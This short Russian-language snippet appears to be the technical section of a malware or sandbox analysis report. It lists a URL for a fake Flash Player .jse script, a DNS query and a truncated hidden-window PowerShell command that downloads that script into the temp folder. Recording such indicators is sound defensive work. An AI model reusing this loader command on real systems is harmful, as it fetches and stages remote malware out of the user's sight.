Техническая информация
- http+s://oqu2dgothaer.org/4552978499370/1520702932290579/flashplayer.jse как $d
- DNS ASK oq####othaer.org
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:temp+[char][byte]92+'1582150804613.js';(New-Object System.Net.WebClient).DownloadFile('http'+'s://oqu2dgothaer.org/4552978499370/1520702932290579/FlashPlayer.jse',$d...' (со скрытым окном)